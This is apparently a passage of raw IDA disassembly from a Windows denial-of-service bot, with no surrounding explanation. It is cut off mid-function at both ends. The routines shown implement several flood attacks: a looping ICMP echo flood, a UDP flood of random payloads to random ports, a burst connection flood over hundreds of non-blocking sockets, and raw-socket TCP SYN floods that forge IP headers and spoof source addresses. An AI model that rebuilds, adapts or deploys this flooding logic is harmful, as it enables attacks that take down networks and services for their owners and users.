[ebp+var_4] call dword_4CDCFC ; closesocket call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_4387D8 lea eax, [ebp+var_3BC] push 200h push eax call sub_41C150 add esp, 18h cmp [ebp+var_24], edi jnz short loc_413893 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_409982 add esp, 14h loc_413893: ; CODE XREF: sub_4134C5+3ACj lea eax, [ebp+var_3BC] push eax call sub_4157A5 push [ebp+var_38] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread sub_4134C5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138B0 proc near ; DATA XREF: sub_401B66+544Bo var_10320 = byte ptr -10320h var_344 = byte ptr -344h var_144 = dword ptr -144h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = byte ptr -20h var_18 = dword ptr -18h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10320h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_144] rep movsd xor edi, edi inc edi mov [eax+120h], edi call dword_4CDBEC ; IcmpCreateFile mov [ebp+arg_0], eax lea eax, [ebp+var_C0] push eax call dword_4CDCA4 ; inet_addr mov esi, eax xor ebx, ebx xor eax, eax cmp esi, 0FFFFFFFFh jnz short loc_41390B lea eax, [ebp+var_C0] push eax call dword_4CDCE8 ; gethostbyname cmp eax, ebx jz short loc_413911 loc_41390B: ; CODE XREF: sub_4138B0+48j cmp [ebp+arg_0], 0FFFFFFFFh jnz short loc_41396E loc_413911: ; CODE XREF: sub_4138B0+59j lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_438914 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413951 push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409982 add esp, 14h loc_413951: ; CODE XREF: sub_4138B0+7Fj lea eax, [ebp+var_344] push eax call sub_4157A5 push [ebp+var_30] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread loc_41396E: ; CODE XREF: sub_4138B0+5Fj cmp eax, ebx jz short loc_41397E mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] mov [ebp+var_4], eax jmp short loc_413981 ; --------------------------------------------------------------------------- loc_41397E: ; CODE XREF: sub_4138B0+C0j mov [ebp+var_4], esi loc_413981: ; CODE XREF: sub_4138B0+CCj push 1Ch lea eax, [ebp+var_20] push ebx push eax call sub_41BD60 or [ebp+var_18], 0FFFFFFFFh mov eax, 0FFDCh add esp, 0Ch cmp [ebp+var_3C], eax jle short loc_4139A1 mov [ebp+var_3C], eax loc_4139A1: ; CODE XREF: sub_4138B0+ECj cmp [ebp+var_38], edi jge short loc_4139A9 mov [ebp+var_38], edi loc_4139A9: ; CODE XREF: sub_4138B0+F4j xor esi, esi cmp [ebp+var_40], ebx jle short loc_4139D6 loc_4139B0: ; CODE XREF: sub_4138B0+124j push [ebp+var_38] lea eax, [ebp+var_20] push 1Ch push eax push ebx lea eax, [ebp+var_10320] push [ebp+var_3C] push eax push [ebp+var_4] push [ebp+arg_0] call dword_4CDB7C ; IcmpSendEcho inc esi cmp esi, [ebp+var_40] jl short loc_4139B0 loc_4139D6: ; CODE XREF: sub_4138B0+FEj push [ebp+arg_0] call dword_4CDD18 ; IcmpCloseHandle lea eax, [ebp+var_C0] push eax lea eax, [ebp+var_344] push offset unk_4388E8 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_28], ebx jnz short loc_413A1F push ebx lea eax, [ebp+var_344] push [ebp+var_2C] push eax lea eax, [ebp+var_140] push eax push [ebp+var_144] call sub_409982 add esp, 14h loc_413A1F: ; CODE XREF: sub_4138B0+14Dj lea eax, [ebp+var_344] push eax call sub_4157A5 push [ebp+var_30] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread sub_4138B0 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413A3C proc near ; DATA XREF: sub_401B66+56A1o var_10312 = byte ptr -10312h var_10310 = byte ptr -10310h var_334 = byte ptr -334h var_134 = dword ptr -134h var_130 = byte ptr -130h var_B0 = byte ptr -0B0h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 10310h call sub_41C2F0 mov eax, [ebp+arg_0] push ebx push esi push edi push 49h mov esi, eax pop ecx lea edi, [ebp+var_134] rep movsd xor esi, esi inc esi mov [eax+120h], esi call dword_4280A8 ; GetTickCount push eax call sub_41C0A8 pop ecx push 11h push 2 push 2 call dword_4CDCE4 ; socket mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41BD60 add esp, 0Ch lea eax, [ebp+var_B0] mov [ebp+var_10], 2 push eax call dword_4CDCA4 ; inet_addr cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jnz short loc_413B21 lea eax, [ebp+var_B0] push eax call dword_4CDCE8 ; gethostbyname cmp eax, edi jnz short loc_413B1A lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_438968 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413AFD push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409982 add esp, 14h loc_413AFD: ; CODE XREF: sub_413A3C+9Fj lea eax, [ebp+var_334] push eax call sub_4157A5 push [ebp+var_20] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread loc_413B1A: ; CODE XREF: sub_413A3C+7Fj mov eax, [eax+0Ch] mov eax, [eax] jmp short loc_413B24 ; --------------------------------------------------------------------------- loc_413B21: ; CODE XREF: sub_413A3C+6Ej lea eax, [ebp+arg_0] loc_413B24: ; CODE XREF: sub_413A3C+E3j mov eax, [eax] cmp [ebp+var_24], edi mov [ebp+var_C], eax jnz short loc_413B3F call sub_41C0B2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx jmp short loc_413B42 ; --------------------------------------------------------------------------- loc_413B3F: ; CODE XREF: sub_413A3C+F0j push [ebp+var_24] loc_413B42: ; CODE XREF: sub_413A3C+101j call dword_4CDC64 ; ntohs cmp [ebp+var_24], esi mov [ebp+var_E], ax jge short loc_413B54 mov [ebp+var_24], esi loc_413B54: ; CODE XREF: sub_413A3C+113j mov eax, 0FFFFh cmp [ebp+var_24], eax jle short loc_413B61 mov [ebp+var_24], eax loc_413B61: ; CODE XREF: sub_413A3C+120j mov eax, [ebp+var_30] push 0Ah cdq pop ecx idiv ecx cmp [ebp+var_28], edi mov [ebp+var_30], eax jnz short loc_413B75 mov [ebp+var_28], esi loc_413B75: ; CODE XREF: sub_413A3C+134j xor esi, esi cmp [ebp+var_2C], edi jle short loc_413BEE loc_413B7C: ; CODE XREF: sub_413A3C+158j call sub_41C0B2 cdq mov ecx, 0FFh idiv ecx inc esi cmp esi, [ebp+var_2C] mov [ebp+esi-10311h], dl jl short loc_413B7C jmp short loc_413BEE ; --------------------------------------------------------------------------- loc_413B98: ; CODE XREF: sub_413A3C+1B5j dec [ebp+var_30] push 0Bh pop esi loc_413B9E: ; CODE XREF: sub_413A3C+192j lea eax, [ebp+var_10] push 10h push eax push edi call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx mov eax, [ebp+var_2C] sub eax, edx push eax lea eax, [ebp+var_10310] push eax push ebx call dword_4CDCC8 ; sendto push [ebp+var_28] call dword_428064 ; Sleep dec esi jnz short loc_413B9E cmp [ebp+var_24], edi jnz short loc_413BEE call sub_41C0B2 cdq mov ecx, 0FFDCh idiv ecx inc edx push edx call dword_4CDC64 ; ntohs mov [ebp+var_E], ax loc_413BEE: ; CODE XREF: sub_413A3C+13Ej ; sub_413A3C+15Aj ... cmp [ebp+var_30], edi jg short loc_413B98 dec [ebp+var_30] lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_334] push offset unk_43893C push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_18], edi jnz short loc_413C36 push edi lea eax, [ebp+var_334] push [ebp+var_1C] push eax lea eax, [ebp+var_130] push eax push [ebp+var_134] call sub_409982 add esp, 14h loc_413C36: ; CODE XREF: sub_413A3C+1D8j lea eax, [ebp+var_334] push eax call sub_4157A5 push [ebp+var_20] call sub_40B2A3 pop ecx pop ecx push edi call dword_4280CC ; ExitThread sub_413A3C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C53 proc near ; DATA XREF: sub_401B66+4D11o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_413DA9 push eax lea eax, [ebp+var_414] push offset dword_438990 push eax call sub_41C056 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_413CD0 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409982 add esp, 14h loc_413CD0: ; CODE XREF: sub_413C53+5Bj lea eax, [ebp+var_414] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_413C53 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CEF proc near ; CODE XREF: sub_413DA9+27p var_654 = dword ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CDC64 ; ntohs mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413DA5 push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413D39: ; CODE XREF: sub_413CEF+B2j xor esi, esi loc_413D3B: ; CODE XREF: sub_413CEF+77j push 0 push 1 push 2 call dword_428220 ; socket cmp eax, 0FFFFFFFFh mov [ebp+esi*4+var_654], eax jz short loc_413D63 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call dword_4281F8 ; ioctlsocket loc_413D63: ; CODE XREF: sub_413CEF+62j inc esi cmp esi, edi jl short loc_413D3B xor esi, esi loc_413D6A: ; CODE XREF: sub_413CEF+91j lea eax, [ebp+var_14] push 10h push eax push [ebp+esi*4+var_654] call dword_428210 ; connect inc esi cmp esi, edi jl short loc_413D6A push 64h call dword_428064 ; Sleep xor esi, esi loc_413D8C: ; CODE XREF: sub_413CEF+ADj push [ebp+esi*4+var_654] call dword_42821C ; closesocket inc esi cmp esi, edi jl short loc_413D8C dec [ebp+arg_4] jnz short loc_413D39 pop edi pop esi loc_413DA5: ; CODE XREF: sub_413CEF+3Ej xor eax, eax leave retn sub_413CEF endp ; =============== S U B R O U T I N E ======================================= sub_413DA9 proc near ; CODE XREF: sub_413C53+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AA04 push [esp+10h+arg_4] mov edi, eax call sub_41BF49 push [esp+14h+arg_8] mov ebx, eax call sub_41BF49 mov esi, eax push esi push ebx push edi call sub_413CEF add esp, 18h test eax, eax jnz short loc_413DDD inc eax loc_413DDD: ; CODE XREF: sub_413DA9+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_413DA9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413DEC proc near ; DATA XREF: sub_401B66+6363o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_414139 push eax lea eax, [ebp+var_414] push offset unk_4389BC push eax call sub_41C056 xor esi, esi add esp, 18h cmp [ebp+var_8], esi jnz short loc_413E69 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_409982 add esp, 14h loc_413E69: ; CODE XREF: sub_413DEC+5Bj lea eax, [ebp+var_414] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_413DEC endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E88 proc near ; CODE XREF: sub_414139+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CDBD4 ; WSAStartup test eax, eax jz short loc_413EC8 xor eax, eax jmp loc_41410C ; --------------------------------------------------------------------------- loc_413EC8: ; CODE XREF: sub_413E88+37j xor edi, edi inc edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CDD08 ; WSASocketA cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_414104 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jz loc_4140FA push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41BD60 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CDC64 ; ntohs mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CDC64 ; ntohs push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CDC64 ; ntohs push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CDC64 ; ntohs mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call dword_428138 ; QueryPerformanceFrequency lea eax, [ebp+var_8] push eax call dword_428134 ; QueryPerformanceCounter push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41DA80 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413FB3: ; CODE XREF: sub_413E88+25Dj ; sub_413E88+269j mov [ebp+var_24], bx call sub_41C0B2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CDC64 ; ntohs mov [ebp+var_34], ax call sub_41C0B2 mov edi, eax shl edi, 10h call sub_41C0B2 or edi, eax push edi call dword_4CDC64 ; ntohs movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CDC60 ; ntohl push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CDC64 ; ntohs mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_B4] push 34h push eax call sub_40AB6D mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call near ptr sub_41CAE0 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41BD60 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AB6D mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call near ptr sub_41CAE0 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CDCC8 ; sendto cmp eax, 0FFFFFFFFh jz short loc_414110 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call dword_428134 ; QueryPerformanceCounter mov eax, [ebp+var_4] cmp eax, esi jg short loc_4140F7 jl loc_413FB3 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jb loc_413FB3 loc_4140F7: ; CODE XREF: sub_413E88+25Bj mov ebx, [ebp+arg_8] loc_4140FA: ; CODE XREF: sub_413E88+78j ; sub_413E88+2AFj push [ebp+var_C] call dword_4CDCFC ; closesocket pop esi loc_414104: ; CODE XREF: sub_413E88+5Bj call dword_4CDBBC ; WSACleanup mov eax, ebx loc_41410C: ; CODE XREF: sub_413E88+3Bj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_414110: ; CODE XREF: sub_413E88+247j call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_F4] push offset unk_4389E4 push eax call sub_41C056 lea eax, [ebp+var_F4] push eax call sub_4157A5 add esp, 10h jmp short loc_4140FA sub_413E88 endp ; =============== S U B R O U T I N E ======================================= sub_414139 proc near ; CODE XREF: sub_413DEC+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40AA04 push [esp+10h+arg_4] mov esi, eax call sub_41BF49 push [esp+14h+arg_8] mov ebx, eax call sub_41BF49 mov edi, eax call sub_41C0B2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_413E88 add esp, 1Ch test eax, eax jnz short loc_414182 inc eax loc_414182: ; CODE XREF: sub_414139+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_414139 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414191 proc near ; DATA XREF: sub_401B66+6CCBo var_394 = byte ptr -394h var_194 = dword ptr -194h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 394h mov eax, [ebp+arg_0] push esi push edi push 65h pop ecx mov esi, eax lea edi, [ebp+var_194] rep movsd mov dword ptr [eax+190h], 1 lea eax, [ebp+var_110] push eax call sub_41BF49 pop ecx push eax lea eax, [ebp+var_190] push eax call dword_4CDCA4 ; inet_addr push eax call sub_414232 push eax lea eax, [ebp+var_394] push offset dword_438A04 push eax call sub_41C056 xor esi, esi add esp, 14h cmp [ebp+var_8], esi jnz short loc_414213 push esi lea eax, [ebp+var_394] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_194] call sub_409982 add esp, 14h loc_414213: ; CODE XREF: sub_414191+60j lea eax, [ebp+var_394] push eax call sub_4157A5 push [ebp+var_10] call sub_40B2A3 pop ecx pop ecx push esi call dword_4280CC ; ExitThread pop edi pop esi sub_414191 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414232 proc near ; CODE XREF: sub_414191+41p var_98 = word ptr -98h var_96 = word ptr -96h var_94 = dword ptr -94h var_88 = dword ptr -88h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = byte ptr -1Ch var_1B = byte ptr -1Bh var_1A = word ptr -1Ah var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 98h push ebx push esi push edi and [ebp+var_88], 0 push 4 and [ebp+var_58], 0 pop esi xor ecx, ecx push 6 inc ecx pop edx mov ebx, 0FFh xor eax, eax lea edi, [ebp+var_54] mov [ebp+var_84], ecx mov [ebp+var_80], 2 mov [ebp+var_7C], esi mov [ebp+var_78], edx mov [ebp+var_74], 8 mov [ebp+var_70], 0Ch mov [ebp+var_6C], 11h mov [ebp+var_68], 16h mov [ebp+var_64], 29h mov [ebp+var_60], 3Ah mov [ebp+var_5C], ebx mov [ebp+var_50], eax stosd lea edi, [ebp+var_2C] mov [ebp+var_4C], eax mov [ebp+var_48], eax mov [ebp+var_44], 2000h mov [ebp+var_40], esi mov [ebp+var_3C], edx mov [ebp+var_38], 3FFFh mov [ebp+var_34], ecx mov [ebp+var_30], eax mov [ebp+var_28], ecx stosd mov edi, 100h push edi call sub_41D795 pop ecx mov [ebp+var_4], eax push edi push eax call dword_4CDC78 ; gethostname push [ebp+var_4] call dword_4CDCE8 ; gethostbyname mov eax, [eax+0Ch] push ebx push 3 push 2 mov eax, [eax] mov eax, [eax] mov [ebp+var_C], eax call dword_4CDCE4 ; socket lea ecx, [ebp+var_28] push esi push ecx push 2 push 0 push eax mov [ebp+var_4], eax call dword_4CDC44 ; setsockopt mov esi, 200h push esi call sub_41BCA5 mov edi, dword_4280A8 pop ecx mov [ebp+var_8], eax call edi ; GetTickCount mov [ebp+var_10], eax mov eax, [ebp+arg_0] push 29Ah mov [ebp+var_94], eax mov [ebp+var_98], 2 call dword_4CDC64 ; ntohs mov [ebp+var_96], ax jmp loc_41441C ; --------------------------------------------------------------------------- loc_414352: ; CODE XREF: sub_414232+1FBj call sub_41C0B2 cdq mov ecx, ebx idiv ecx mov eax, [ebp+var_C] and eax, 0FFFFFFh shl edx, 18h or edx, eax mov [ebp+var_C], edx call sub_41C0B2 cdq mov ecx, ebx idiv ecx mov [ebp+var_54], edx call sub_41C0B2 cdq mov ecx, 1FA4h mov [ebp+var_24], 45h idiv ecx mov [ebp+var_23], 4 mov [ebp+var_2C], edx call sub_41C0B2 mov [ebp+var_20], ax call sub_41C0B2 push 0Ah cdq pop ecx idiv ecx mov ax, word ptr [ebp+edx*4+var_50] push eax call dword_4CDC64 ; ntohs push esi mov [ebp+var_1E], ax call dword_4CDC64 ; ntohs mov [ebp+var_22], ax mov [ebp+var_1C], bl call sub_41C0B2 push 0Eh cdq pop ecx idiv ecx push 14h mov al, byte ptr [ebp+edx*4+var_88] mov [ebp+var_1B], al mov eax, [ebp+var_C] mov [ebp+var_18], eax mov eax, [ebp+arg_0] mov [ebp+var_14], eax lea eax, [ebp+var_24] push eax call sub_40AB6D mov [ebp+var_1A], ax lea eax, [ebp+var_24] push 14h push eax push [ebp+var_8] call near ptr sub_41CAE0 add esp, 14h lea eax, [ebp+var_98] push 10h push eax push 0 push esi push [ebp+var_8] push [ebp+var_4] call dword_4CDCC8 ; sendto loc_41441C: ; CODE XREF: sub_414232+11Bj call edi ; GetTickCount sub eax, [ebp+var_10] mov ecx, 3E8h xor edx, edx div ecx cmp eax, [ebp+arg_4] jbe loc_414352 push [ebp+var_8] call sub_41B881 pop ecx push [ebp+var_4] call dword_4CDCFC ; closesocket xor eax, eax pop edi pop esi inc eax pop ebx leave retn sub_414232 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41444D proc near ; DATA XREF: sub_401B66+5306o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd xor esi, esi push 0Eh inc esi xor ebx, ebx mov [eax+19Ch], esi pop ecx xor eax, eax lea edi, [ebp+var_9F] mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_4280A8 call edi ; GetTickCount push eax call sub_41C0A8 pop ecx push 0FFh push 3 push 2 call dword_4CDCE4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_414516 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_438B20 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_4144F6 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409982 add esp, 14h loc_4144F6: ; CODE XREF: sub_41444D+84j lea eax, [ebp+var_440] push eax call sub_4157A5 push [ebp+var_BC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread loc_414516: ; CODE XREF: sub_41444D+61j lea ecx, [ebp+var_34] push 4 push ecx push 2 push ebx push eax mov [ebp+var_34], esi call dword_4CDC44 ; setsockopt cmp eax, 0FFFFFFFFh jnz short loc_414594 call dword_4CDBF8 ; WSAGetLastError push eax lea eax, [ebp+var_440] push offset unk_438AE8 push eax call sub_41C056 add esp, 0Ch cmp [ebp+var_A8], ebx jnz short loc_414574 push ebx lea eax, [ebp+var_440] push [ebp+var_AC] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_240] call sub_409982 add esp, 14h loc_414574: ; CODE XREF: sub_41444D+102j lea eax, [ebp+var_440] push eax call sub_4157A5 push [ebp+var_BC] call sub_40B2A3 pop ecx pop ecx push ebx call dword_4280CC ; ExitThread 